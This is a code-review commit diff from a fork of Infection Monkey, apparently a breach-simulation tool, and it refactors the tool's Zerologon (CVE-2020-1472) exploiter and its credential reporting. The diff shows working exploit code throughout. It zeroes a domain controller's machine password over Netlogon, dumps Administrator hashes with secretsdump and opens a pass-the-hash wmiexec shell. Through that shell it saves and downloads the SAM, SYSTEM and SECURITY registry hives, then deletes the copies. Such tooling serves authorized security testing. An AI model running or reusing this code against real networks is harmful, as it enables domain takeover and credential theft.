forked from p15670423/monkey
CR changes
This commit is contained in:
parent
961d5f81f8
commit
435f10fb20
|
@ -38,8 +38,9 @@ class HostExploiter(Plugin):
|
|||
# Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited
|
||||
# machines. This would then prevent any other exploits from being attempted on it.
|
||||
# Sample use case - Zerologon exploiter:
|
||||
# Exploited machine gives us useful credentials which can be used, but machine isn't compromised by Zerologon
|
||||
# on its own. Some other exploit using PTH needs to be exploit it.
|
||||
# Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon
|
||||
# on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey
|
||||
# can propagate to it.
|
||||
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True
|
||||
|
||||
@property
|
||||
|
|
|
@ -3,8 +3,6 @@ Zerologon, CVE-2020-1472
|
|||
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||
"""
|
||||
|
||||
from __future__ import division, print_function
|
||||
|
||||
import cmd
|
||||
import io
|
||||
import logging
|
||||
|
@ -97,7 +95,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.exploit_info['credentials'] = {}
|
||||
|
||||
def _exploit_host(self):
|
||||
self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
||||
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
||||
|
||||
if self.is_exploitable():
|
||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||
|
@ -124,11 +122,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
break
|
||||
|
||||
self.report_login_attempt(result=False,
|
||||
user=self.DC_NAME)
|
||||
user=self.dc_name)
|
||||
|
||||
if result['ErrorCode'] == 0:
|
||||
self.report_login_attempt(result=True,
|
||||
user=self.DC_NAME)
|
||||
user=self.dc_name)
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||
|
@ -154,7 +152,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||
|
||||
def connect_to_dc(self):
|
||||
binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
|
@ -163,14 +161,14 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
def attempt_exploit(self, rpc_con):
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
request['PrimaryName'] = self.DC_HANDLE + '\x00'
|
||||
request['AccountName'] = self.DC_NAME + '$\x00'
|
||||
request['PrimaryName'] = self.dc_handle + '\x00'
|
||||
request['AccountName'] = self.dc_name + '$\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator['Credential'] = b'\x00' * 8
|
||||
authenticator['Timestamp'] = 0
|
||||
request['Authenticator'] = authenticator
|
||||
request['ComputerName'] = self.DC_NAME + '\x00'
|
||||
request['ComputerName'] = self.dc_name + '\x00'
|
||||
request['ClearNewPassword'] = b'\x00' * 516
|
||||
return rpc_con.request(request)
|
||||
|
||||
|
@ -207,13 +205,13 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
def get_admin_pwd_hashes(self):
|
||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||
options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
options['target_ip'] = self.DC_IP
|
||||
options['dc_ip'] = self.DC_IP
|
||||
options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
options['target_ip'] = self.dc_ip
|
||||
options['dc_ip'] = self.dc_ip
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||
remote_name=self.DC_IP,
|
||||
username=f"{self.DC_NAME}$")
|
||||
remote_name=self.dc_ip,
|
||||
username=f"{self.dc_name}$")
|
||||
user = 'Administrator'
|
||||
for secret in dumped_secrets:
|
||||
if user in secret:
|
||||
|
@ -249,7 +247,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||
for name in ['system', 'sam', 'security']:
|
||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||
options['dc_ip'] = self.DC_IP
|
||||
options['dc_ip'] = self.dc_ip
|
||||
options['just_dc'] = False
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||
|
@ -267,34 +265,39 @@ class ZerologonExploiter(HostExploiter):
|
|||
def save_HKLM_keys_locally(self, admin_pwd_hashes):
|
||||
LOG.debug("Starting remote shell on victim.")
|
||||
|
||||
wmiexec = Wmiexec(ip=self.DC_IP,
|
||||
wmiexec = Wmiexec(ip=self.dc_ip,
|
||||
username='Administrator',
|
||||
hashes=admin_pwd_hashes,
|
||||
domain=self.DC_IP)
|
||||
domain=self.dc_ip)
|
||||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
if remote_shell:
|
||||
_set_stdout_to_in_memory_text_stream()
|
||||
|
||||
# Save HKLM keys on victim.
|
||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||
'reg save HKLM\\SAM sam.save && ' +
|
||||
'reg save HKLM\\SECURITY security.save')
|
||||
try:
|
||||
# Save HKLM keys on victim.
|
||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||
'reg save HKLM\\SAM sam.save && ' +
|
||||
'reg save HKLM\\SECURITY security.save')
|
||||
|
||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||
remote_shell.onecmd('get system.save')
|
||||
remote_shell.onecmd('get sam.save')
|
||||
remote_shell.onecmd('get security.save')
|
||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||
remote_shell.onecmd('get system.save')
|
||||
remote_shell.onecmd('get sam.save')
|
||||
remote_shell.onecmd('get security.save')
|
||||
|
||||
# Delete saved keys on victim.
|
||||
remote_shell.onecmd('del /f system.save sam.save security.save')
|
||||
# Delete saved keys on victim.
|
||||
remote_shell.onecmd('del /f system.save sam.save security.save')
|
||||
|
||||
info = _unset_stdout_and_return_captured()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
wmiexec.close()
|
||||
|
||||
wmiexec.close()
|
||||
return True
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
info = _unset_stdout_and_return_captured()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
raise Exception("Could not start remote shell on DC.")
|
||||
|
@ -308,15 +311,15 @@ class ZerologonExploiter(HostExploiter):
|
|||
flags = 0x212fffff
|
||||
|
||||
# Send challenge and authentication request.
|
||||
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00',
|
||||
self.DC_NAME + '\x00', plaintext)
|
||||
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00',
|
||||
self.dc_name + '\x00', plaintext)
|
||||
server_challenge = server_challenge_response['ServerChallenge']
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00',
|
||||
rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00',
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
self.DC_NAME + '\x00', ciphertext, flags
|
||||
self.dc_name + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
# It worked!
|
||||
|
@ -335,9 +338,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
request = NetrServerPasswordSet()
|
||||
request['PrimaryName'] = NULL
|
||||
request['AccountName'] = self.DC_NAME + '$\x00'
|
||||
request['AccountName'] = self.dc_name + '$\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
request['ComputerName'] = self.DC_NAME + '\x00'
|
||||
request['ComputerName'] = self.dc_name + '\x00'
|
||||
request["Authenticator"] = authenticator
|
||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
||||
request["UasNewPassword"] = pwd_data
|
||||
|
|
|
@ -352,15 +352,14 @@ class InfectionMonkey(object):
|
|||
try:
|
||||
result = exploiter.exploit_host()
|
||||
if result:
|
||||
self.successfully_exploited(machine, exploiter) if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET else\
|
||||
self.successfully_exploited(machine, exploiter, False)
|
||||
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
||||
return True
|
||||
else:
|
||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||
except ExploitingVulnerableMachineError as exc:
|
||||
LOG.error("Exception while attacking %s using %s: %s",
|
||||
machine, exploiter.__class__.__name__, exc)
|
||||
self.successfully_exploited(machine, exploiter)
|
||||
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
||||
return True
|
||||
except FailedExploitationError as e:
|
||||
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
||||
|
|
|
@ -17,14 +17,14 @@ class ZerologonFinger(HostFinger):
|
|||
MAX_ATTEMPTS = 2000
|
||||
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
def get_host_fingerprint(self, host) -> bool:
|
||||
"""
|
||||
Checks if the Windows Server is vulnerable to Zerologon.
|
||||
"""
|
||||
|
||||
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host)
|
||||
dc_ip, dc_name, dc_handle = self._get_dc_details(host)
|
||||
|
||||
if DC_NAME: # if it is a Windows DC
|
||||
if dc_name: # if it is a Windows DC
|
||||
# Keep authenticating until successful.
|
||||
# Expected average number of attempts needed: 256.
|
||||
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||
|
@ -33,7 +33,7 @@ class ZerologonFinger(HostFinger):
|
|||
rpc_con = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
||||
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
|
||||
if rpc_con is not None:
|
||||
break
|
||||
except Exception as ex:
|
||||
|
@ -55,27 +55,27 @@ class ZerologonFinger(HostFinger):
|
|||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||
return False
|
||||
|
||||
def get_dc_details(self, host):
|
||||
DC_IP = host.ip_addr
|
||||
DC_NAME = self.get_dc_name(DC_IP)
|
||||
DC_HANDLE = '\\\\' + DC_NAME
|
||||
return DC_IP, DC_NAME, DC_HANDLE
|
||||
def _get_dc_details(self, host) -> (str, str, str):
|
||||
dc_ip = host.ip_addr
|
||||
dc_name = self._get_dc_name(dc_ip)
|
||||
dc_handle = '\\\\' + dc_name
|
||||
return dc_ip, dc_name, dc_handle
|
||||
|
||||
def get_dc_name(self, DC_IP):
|
||||
def _get_dc_name(self, dc_ip: str) -> str:
|
||||
"""
|
||||
Gets NetBIOS name of the Domain Controller (DC).
|
||||
"""
|
||||
|
||||
try:
|
||||
nb = nmb.NetBIOS.NetBIOS()
|
||||
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
||||
return name[0] if name else None
|
||||
name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None
|
||||
return name[0] if name else ''
|
||||
except BaseException as ex:
|
||||
LOG.info(f'Exception: {ex}')
|
||||
|
||||
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
|
@ -90,13 +90,13 @@ class ZerologonFinger(HostFinger):
|
|||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
||||
rpc_con, dc_handle + '\x00', dc_name + '\x00', plaintext)
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
||||
rpc_con, dc_handle + '\x00', dc_name +
|
||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
DC_NAME + '\x00', ciphertext, flags
|
||||
dc_name + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
# It worked!
|
||||
|
|
|
@ -156,7 +156,7 @@ EXPLOITER_CLASSES = {
|
|||
],
|
||||
"title": "Zerologon Exploiter (UNSAFE)",
|
||||
"info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and "
|
||||
"breaks communication with other domain controllers.) "
|
||||
"might break communication with other domain controllers.) "
|
||||
"Exploits a privilege escalation vulnerability in a Windows server domain controller, "
|
||||
"using the Netlogon Remote Protocol (MS-NRPC).",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/"
|
||||
|
|
|
@ -182,29 +182,33 @@ class ReportService:
|
|||
def get_stolen_creds():
|
||||
creds = []
|
||||
|
||||
# stolen creds from system info collectors
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||
{'data.credentials': 1, 'monkey_guid': 1}
|
||||
):
|
||||
monkey_creds = telem['data']['credentials']
|
||||
formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds)
|
||||
if formatted_creds:
|
||||
creds.extend(formatted_creds)
|
||||
stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems()
|
||||
creds.extend(stolen_system_info_creds)
|
||||
|
||||
# stolen creds from exploiters
|
||||
for telem in mongo.db.telemetry.find(
|
||||
{'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||
{'data.info.credentials': 1, 'monkey_guid': 1}
|
||||
):
|
||||
monkey_creds = telem['data']['info']['credentials']
|
||||
formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds)
|
||||
if formatted_creds:
|
||||
creds.extend(formatted_creds)
|
||||
stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems()
|
||||
creds.extend(stolen_exploit_creds)
|
||||
|
||||
logger.info('Stolen creds generated for reporting')
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_credentials_from_system_info_telems():
|
||||
formatted_creds = []
|
||||
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||
{'data.credentials': 1, 'monkey_guid': 1}):
|
||||
creds = telem['data']['credentials']
|
||||
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||
return formatted_creds
|
||||
|
||||
@staticmethod
|
||||
def get_credentials_from_exploit_telems():
|
||||
formatted_creds = []
|
||||
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||
{'data.info.credentials': 1, 'monkey_guid': 1}):
|
||||
creds = telem['data']['info']['credentials']
|
||||
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||
return formatted_creds
|
||||
|
||||
@staticmethod
|
||||
def _format_creds_for_reporting(telem, monkey_creds):
|
||||
creds = []
|
||||
|
|
|
@ -31,15 +31,14 @@ def process_exploit_telemetry(telemetry_json):
|
|||
def add_exploit_extracted_creds_to_config(telemetry_json):
|
||||
if 'credentials' in telemetry_json['data']['info']:
|
||||
creds = telemetry_json['data']['info']['credentials']
|
||||
|
||||
for user in creds:
|
||||
ConfigService.creds_add_username(creds[user]['username'])
|
||||
if 'password' in creds[user] and creds[user]['password']:
|
||||
ConfigService.creds_add_password(creds[user]['password'])
|
||||
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||
for user in creds:
|
||||
ConfigService.creds_add_username(creds[user]['username'])
|
||||
if 'password' in creds[user] and creds[user]['password']:
|
||||
ConfigService.creds_add_password(creds[user]['password'])
|
||||
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||
|
||||
|
||||
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
||||
|
|
Loading…
Reference in New Issue